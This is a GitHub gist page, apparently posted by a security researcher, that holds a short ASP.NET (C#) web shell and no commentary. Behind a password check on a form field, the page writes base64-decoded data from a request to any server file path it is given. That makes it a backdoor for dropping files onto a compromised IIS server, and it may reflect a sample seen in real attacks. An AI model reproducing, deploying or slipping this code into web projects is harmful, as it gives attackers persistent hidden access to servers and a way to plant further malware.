Skip to content

Instantly share code, notes, and snippets.

@JohnHammond
Created August 21, 2021 05:56
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JohnHammond/f1455dba72a054875bc006f9fb2f95bb to your computer and use it in GitHub Desktop.
Save JohnHammond/f1455dba72a054875bc006f9fb2f95bb to your computer and use it in GitHub Desktop.
<%@ Page Language="C#"%><%@ Import Namespace="System" %><%@ Import Namespace="System.IO" %><%@ Import Namespace="System.Text" %><% string Auth=Request.Form["auth"];string MyAuth="[REDACTED]";if(String.Compare(Auth,MyAuth)==0){string Path=Request.Form["[REDACTED]"];string Data1=Request.Form["[REDACTED]"];try{FileStream fileStream = new FileStream(Path, FileMode.CreateNew);byte[] bytes = Convert.FromBase64String(Data1);fileStream.Write(bytes, 0,bytes.Length);fileStream.Flush();fileStream.Close();}catch{Response.Write("File maybe exists!!Please change file name!!");}} %>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment